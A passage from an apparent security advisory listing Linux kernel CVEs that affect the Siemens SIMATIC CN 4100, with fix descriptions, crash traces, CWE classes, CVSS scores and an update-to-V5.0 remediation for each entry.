String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38502\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: bpf: Fix oob access in cgroup local storage Lonial reported that an out-of-bounds access in cgroup local storage can be crafted via tail calls. Given two programs each utilizing a cgroup local storage with a different value size, and one program doing a tail call into the other. The verifier will validate each of the indivial programs just fine. However, in the runtime context the bpf_cg_run_ctx holds an bpf_prog_array_item which contains the BPF program as well as any cgroup local storage flavor the program uses. Helpers such as bpf_get_local_storage() pick this up from the runtime context: ctx = container_of(current->bpf_ctx, struct bpf_cg_run_ctx, run_ctx); storage = ctx->prog_item->cgroup_storage[stype]; if (stype == BPF_CGROUP_STORAGE_SHARED) ptr = &READ_ONCE(storage->buf)->data[0]; else ptr = this_cpu_ptr(storage->percpu_buf); For the second program which was called from the originally attached one, this means bpf_get_local_storage() will pick up the former program's map, not its own. With mismatching sizes, this can result in an unintended out-of-bounds access. To fix this issue, we need to extend bpf_map_owner with an array of storage_cookie[] to match on i) the exact maps from the original program if the second program was using bpf_get_local_storage(), or ii) allow the tail call combination if the second program was not using any of the cgroup local storage maps.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38552\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mptcp: plug races between subflow fail and subflow creation We have races similar to the one addressed by the previous patch between subflow failing and additional subflow creation. They are just harder to trigger. The solution is similar. Use a separate flag to track the condition 'socket state prevent any additional subflow creation' protected by the fallback lock. The socket fallback makes such flag true, and also receiving or sending an MP_FAIL option. The field 'allow_infinite_fallback' is now always touched under the relevant lock, we can drop the ONCE annotation on write.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38614\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: eventpoll: Fix semi-unbounded recursion Ensure that epoll instances can never form a graph deeper than EP_MAX_NESTS+1 links. Currently, ep_loop_check_proc() ensures that the graph is loop-free and does some recursion depth checks, but those recursion depth checks don't limit the depth of the resulting tree for two reasons: - They don't look upwards in the tree. - If there are multiple downwards paths of different lengths, only one of the paths is actually considered for the depth check since commit 28d82dc1c4ed (\"epoll: limit paths\"). Essentially, the current recursion depth check in ep_loop_check_proc() just serves to prevent it from recursing too deeply while checking for loops. A more thorough check is done in reverse_path_check() after the new graph edge has already been created; this checks, among other things, that no paths going upwards from any non-epoll file with a length of more than 5 edges exist. However, this check does not apply to non-epoll files. As a result, it is possible to recurse to a depth of at least roughly 500, tested on v6.15. (I am unsure if deeper recursion is possible; and this may have changed with commit 8c44dac8add7 (\"eventpoll: Fix priority inversion problem\").) To fix it: 1. In ep_loop_check_proc(), note the subtree depth of each visited node, and use subtree depths for the total depth calculation even when a subtree has already been visited. 2. Add ep_get_upwards_depth_proc() for similarly determining the maximum depth of an upwards walk. 3. In ep_loop_check(), use these values to limit the total path length between epoll nodes to EP_MAX_NESTS edges.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38670\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: arm64/entry: Mask DAIF in cpu_switch_to(), call_on_irq_stack() `cpu_switch_to()` and `call_on_irq_stack()` manipulate SP to change to different stacks along with the Shadow Call Stack if it is enabled. Those two stack changes cannot be done atomically and both functions can be interrupted by SErrors or Debug Exceptions which, though unlikely, is very much broken : if interrupted, we can end up with mismatched stacks and Shadow Call Stack leading to clobbered stacks. In `cpu_switch_to()`, it can happen when SP_EL0 points to the new task, but x18 stills points to the old task's SCS. When the interrupt handler tries to save the task's SCS pointer, it will save the old task SCS pointer (x18) into the new task struct (pointed to by SP_EL0), clobbering it. In `call_on_irq_stack()`, it can happen when switching from the task stack to the IRQ stack and when switching back. In both cases, we can be interrupted when the SCS pointer points to the IRQ SCS, but SP points to the task stack. The nested interrupt handler pushes its return addresses on the IRQ SCS. It then detects that SP points to the task stack, calls `call_on_irq_stack()` and clobbers the task SCS pointer with the IRQ SCS pointer, which it will also use ! This leads to tasks returning to addresses on the wrong SCS, or even on the IRQ SCS, triggering kernel panics via CONFIG_VMAP_STACK or FPAC if enabled. This is possible on a default config, but unlikely. However, when enabling CONFIG_ARM64_PSEUDO_NMI, DAIF is unmasked and instead the GIC is responsible for filtering what interrupts the CPU should receive based on priority. Given the goal of emulating NMIs, pseudo-NMIs can be received by the CPU even in `cpu_switch_to()` and `call_on_irq_stack()`, possibly *very* frequently depending on the system configuration and workload, leading to unpredictable kernel panics. Completely mask DAIF in `cpu_switch_to()` and restore it when returning. Do the same in `call_on_irq_stack()`, but restore and mask around the branch. Mask DAIF even if CONFIG_SHADOW_CALL_STACK is not enabled for consistency of behaviour between all configurations. Introduce and use an assembly macro for saving and masking DAIF, as the existing one saves but only masks IF.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38676\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iommu/amd: Avoid stack buffer overflow from kernel cmdline While the kernel command line is considered trusted in most environments, avoid writing 1 byte past the end of \"acpiid\" if the \"str\" argument is maximum length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-805 Buffer Access with Incorrect Length Value\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38677\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: f2fs: fix to avoid out-of-boundary access in dnode page As Jiaming Zhang reported: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x1c1/0x2a0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0x17e/0x800 mm/kasan/report.c:480 kasan_report+0x147/0x180 mm/kasan/report.c:593 data_blkaddr fs/f2fs/f2fs.h:3053 [inline] f2fs_data_blkaddr fs/f2fs/f2fs.h:3058 [inline] f2fs_get_dnode_of_data+0x1a09/0x1c40 fs/f2fs/node.c:855 f2fs_reserve_block+0x53/0x310 fs/f2fs/data.c:1195 prepare_write_begin fs/f2fs/data.c:3395 [inline] f2fs_write_begin+0xf39/0x2190 fs/f2fs/data.c:3594 generic_perform_write+0x2c7/0x910 mm/filemap.c:4112 f2fs_buffered_write_iter fs/f2fs/file.c:4988 [inline] f2fs_file_write_iter+0x1ec8/0x2410 fs/f2fs/file.c:5216 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x546/0xa90 fs/read_write.c:686 ksys_write+0x149/0x250 fs/read_write.c:738 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xf3/0x3d0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f The root cause is in the corrupted image, there is a dnode has the same node id w/ its inode, so during f2fs_get_dnode_of_data(), it tries to access block address in dnode at offset 934, however it parses the dnode as inode node, so that get_dnode_addr() returns 360, then it tries to access page address from 360 + 934 * 4 = 4096 w/ 4 bytes. To fix this issue, let's add sanity check for node id of all direct nodes during f2fs_get_dnode_of_data().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38679\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: Fix OOB read due to missing payload bound check Currently, The event_seq_changed() handler processes a variable number of properties sent by the firmware. The number of properties is indicated by the firmware and used to iterate over the payload. However, the payload size is not being validated against the actual message length. This can lead to out-of-bounds memory access if the firmware provides a property count that exceeds the data available in the payload. Such a condition can result in kernel crashes or potential information leaks if memory beyond the buffer is accessed. Fix this by properly validating the remaining size of the payload before each property access and updating bounds accordingly as properties are parsed. This ensures that property parsing is safely bounded within the received message buffer and protects against malformed or malicious firmware behavior.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38680\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: uvcvideo: Fix 1-byte out-of-bounds read in uvc_parse_format() The buffer length check before calling uvc_parse_format() only ensured that the buffer has at least 3 bytes (buflen > 2), buf the function accesses buffer[3], requiring at least 4 bytes. This can lead to an out-of-bounds read if the buffer has exactly 3 bytes. Fix it by checking that the buffer has at least 4 bytes in uvc_parse_format().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38681\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/ptdump: take the memory hotplug lock inside ptdump_walk_pgd() Memory hot remove unmaps and tears down various kernel page table regions as required. The ptdump code can race with concurrent modifications of the kernel page tables. When leaf entries are modified concurrently, the dump code may log stale or inconsistent information for a VA range, but this is otherwise not harmful. But when intermediate levels of kernel page table are freed, the dump code will continue to use memory that has been freed and potentially reallocated for another purpose. In such cases, the ptdump code may dereference bogus addresses, leading to a number of potential problems. To avoid the above mentioned race condition, platforms such as arm64, riscv and s390 take memory hotplug lock, while dumping kernel page table via the sysfs interface /sys/kernel/debug/kernel_page_tables. Similar race condition exists while checking for pages that might have been marked W+X via /sys/kernel/debug/kernel_page_tables/check_wx_pages which in turn calls ptdump_check_wx(). Instead of solving this race condition again, let's just move the memory hotplug lock inside generic ptdump_check_wx() which will benefit both the scenarios. Drop get_online_mems() and put_online_mems() combination from all existing platform ptdump code paths.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-366 Race Condition within a Thread\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38683\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hv_netvsc: Fix panic during namespace deletion with VF The existing code move the VF NIC to new namespace when NETDEV_REGISTER is received on netvsc NIC. During deletion of the namespace, default_device_exit_batch() >> default_device_exit_net() is called. When netvsc NIC is moved back and registered to the default namespace, it automatically brings VF NIC back to the default namespace. This will cause the default_device_exit_net() >> for_each_netdev_safe loop unable to detect the list end, and hit NULL ptr: [ 231.449420] mana 7870:00:00.0 enP30832s1: Moved VF to namespace with: eth0 [ 231.449656] BUG: kernel NULL pointer dereference, address: 0000000000000010 [ 231.450246] #PF: supervisor read access in kernel mode [ 231.450579] #PF: error_code(0x0000) - not-present page [ 231.450916] PGD 17b8a8067 P4D 0 [ 231.451163] Oops: Oops: 0000 [#1] SMP NOPTI [ 231.451450] CPU: 82 UID: 0 PID: 1394 Comm: kworker/u768:1 Not tainted 6.16.0-rc4+ #3 VOLUNTARY [ 231.452042] Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS Hyper-V UEFI Release v4.1 11/21/2024 [ 231.452692] Workqueue: netns cleanup_net [ 231.452947] RIP: 0010:default_device_exit_batch+0x16c/0x3f0 [ 231.453326] Code: c0 0c f5 b3 e8 d5 db fe ff 48 85 c0 74 15 48 c7 c2 f8 fd ca b2 be 10 00 00 00 48 8d 7d c0 e8 7b 77 25 00 49 8b 86 28 01 00 00 <48> 8b 50 10 4c 8b 2a 4c 8d 62 f0 49 83 ed 10 4c 39 e0 0f 84 d6 00 [ 231.454294] RSP: 0018:ff75fc7c9bf9fd00 EFLAGS: 00010246 [ 231.454610] RAX: 0000000000000000 RBX: 0000000000000002 RCX: 61c8864680b583eb [ 231.455094] RDX: ff1fa9f71462d800 RSI: ff75fc7c9bf9fd38 RDI: 0000000030766564 [ 231.455686] RBP: ff75fc7c9bf9fd78 R08: 0000000000000000 R09: 0000000000000000 [ 231.456126] R10: 0000000000000001 R11: 0000000000000004 R12: ff1fa9f70088e340 [ 231.456621] R13: ff1fa9f70088e340 R14: ffffffffb3f50c20 R15: ff1fa9f7103e6340 [ 231.457161] FS: 0000000000000000(0000) GS:ff1faa6783a08000(0000) knlGS:0000000000000000 [ 231.457707] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 231.458031] CR2: 0000000000000010 CR3: 0000000179ab2006 CR4: 0000000000b73ef0 [ 231.458434] Call Trace: [ 231.458600] [ 231.458777] ops_undo_list+0x100/0x220 [ 231.459015] cleanup_net+0x1b8/0x300 [ 231.459285] process_one_work+0x184/0x340 To fix it, move the ns change to a workqueue, and take rtnl_lock to avoid changing the netdev list when default_device_exit_net() is using it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-820 Missing Synchronization\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.2\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38684\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/sched: ets: use old 'nbands' while purging unused classes Shuang reported sch_ets test-case [1] crashing in ets_class_qlen_notify() after recent changes from Lion [2]. The problem is: in ets_qdisc_change() we purge unused DWRR queues; the value of 'q->nbands' is the new one, and the cleanup should be done with the old one. The problem is here since my first attempts to fix ets_qdisc_change(), but it surfaced again after the recent qdisc len accounting fixes. Fix it purging idle DWRR queues before assigning a new value of 'q->nbands', so that all purge operations find a consistent configuration: - old 'q->nbands' because it's needed by ets_class_find() - old 'q->nstrict' because it's needed by ets_class_is_strict() BUG: kernel NULL pointer dereference, address: 0000000000000000 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP NOPTI CPU: 62 UID: 0 PID: 39457 Comm: tc Kdump: loaded Not tainted 6.12.0-116.el10.x86_64 #1 PREEMPT(voluntary) Hardware name: Dell Inc. PowerEdge R640/06DKY5, BIOS 2.12.2 07/09/2021 RIP: 0010:__list_del_entry_valid_or_report+0x4/0x80 Code: ff 4c 39 c7 0f 84 39 19 8e ff b8 01 00 00 00 c3 cc cc cc cc 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa <48> 8b 17 48 8b 4f 08 48 85 d2 0f 84 56 19 8e ff 48 85 c9 0f 84 ab RSP: 0018:ffffba186009f400 EFLAGS: 00010202 RAX: 00000000000000d6 RBX: 0000000000000000 RCX: 0000000000000004 RDX: ffff9f0fa29b69c0 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffffffc12c2400 R08: 0000000000000008 R09: 0000000000000004 R10: ffffffffffffffff R11: 0000000000000004 R12: 0000000000000000 R13: ffff9f0f8cfe0000 R14: 0000000000100005 R15: 0000000000000000 FS: 00007f2154f37480(0000) GS:ffff9f269c1c0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 00000001530be001 CR4: 00000000007726f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: ets_class_qlen_notify+0x65/0x90 [sch_ets] qdisc_tree_reduce_backlog+0x74/0x110 ets_qdisc_change+0x630/0xa40 [sch_ets] __tc_modify_qdisc.constprop.0+0x216/0x7f0 tc_modify_qdisc+0x7c/0x120 rtnetlink_rcv_msg+0x145/0x3f0 netlink_rcv_skb+0x53/0x100 netlink_unicast+0x245/0x390 netlink_sendmsg+0x21b/0x470 ____sys_sendmsg+0x39d/0x3d0 ___sys_sendmsg+0x9a/0xe0 __sys_sendmsg+0x7a/0xd0 do_syscall_64+0x7d/0x160 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x7f2155114084 Code: 89 02 b8 ff ff ff ff eb bb 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 80 3d 25 f0 0c 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 89 54 24 1c 48 89 RSP: 002b:00007fff1fd7a988 EFLAGS: 00000202 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 0000560ec063e5e0 RCX: 00007f2155114084 RDX: 0000000000000000 RSI: 00007fff1fd7a9f0 RDI: 0000000000000003 RBP: 00007fff1fd7aa60 R08: 0000000000000010 R09: 000000000000003f R10: 0000560ee9b3a010 R11: 0000000000000202 R12: 00007fff1fd7aae0 R13: 000000006891ccde R14: 0000560ec063e5e0 R15: 00007fff1fd7aad0 [1] https://lore.kernel.org/netdev/e08c7f4a6882f260011909a868311c6e9b54f3e4.1639153474.git.dcaratti@redhat.com/ [2] https://lore.kernel.org/netdev/d912cbd7-193b-4269-9857-525bee8bbb6a@gmail.com/\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.2\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38685\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fbdev: Fix vmalloc out-of-bounds write in fast_imageblit This issue triggers when a userspace program does an ioctl FBIOPUT_CON2FBMAP by passing console number and frame buffer number. Ideally this maps console to frame buffer and updates the screen if console is visible. As part of mapping it has to do resize of console according to frame buffer info. if this resize fails and returns from vc_do_resize() and continues further. At this point console and new frame buffer are mapped and sets display vars. Despite failure still it continue to proceed updating the screen at later stages where vc_data is related to previous frame buffer and frame buffer info and display vars are mapped to new frame buffer and eventully leading to out-of-bounds write in fast_imageblit(). This bheviour is excepted only when fg_console is equal to requested console which is a visible console and updates screen with invalid struct references in fbcon_putcs().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38687\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: fix race between polling and detaching syzbot reports a use-after-free in comedi in the below link, which is due to comedi gladly removing the allocated async area even though poll requests are still active on the wait_queue_head inside of it. This can cause a use-after-free when the poll entries are later triggered or removed, as the memory for the wait_queue_head has been freed. We need to check there are no tasks queued on any of the subdevices' wait queues before allowing the device to be detached by the `COMEDI_DEVCONFIG` ioctl. Tasks will read-lock `dev->attach_lock` before adding themselves to the subdevice wait queue, so fix the problem in the `COMEDI_DEVCONFIG` ioctl handler by write-locking `dev->attach_lock` before checking that all of the subdevices are safe to be deleted. This includes testing for any sleepers on the subdevices' wait queues. It remains locked until the device has been detached. This requires the `comedi_device_detach()` function to be refactored slightly, moving the bulk of it into new function `comedi_device_detach_locked()`. Note that the refactor of `comedi_device_detach()` results in `comedi_device_cancel_all()` now being called while `dev->attach_lock` is write-locked, which wasn't the case previously, but that does not matter. Thanks to Jens Axboe for diagnosing the problem and co-developing this patch.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38691\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: pNFS: Fix uninited ptr deref in block/scsi layout The error occurs on the third attempt to encode extents. When function ext_tree_prepare_commit() reallocates a larger buffer to retry encoding extents, the \"layoutupdate_pages\" page array is initialized only after the retry loop. But ext_tree_free_commitdata() is called on every iteration and tries to put pages in the array, thus dereferencing uninitialized pointers. An additional problem is that there is no limit on the maximum possible buffer_size. When there are too many extents, the client may create a layoutcommit that is larger than the maximum possible RPC size accepted by the server. During testing, we observed two typical scenarios. First, one memory page for extents is enough when we work with small files, append data to the end of the file, or preallocate extents before writing. But when we fill a new large file without preallocating, the number of extents can be huge, and counting the number of written extents in ext_tree_encode_commit() does not help much. Since this number increases even more between unlocking and locking of ext_tree, the reallocated buffer may not be large enough again and again.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 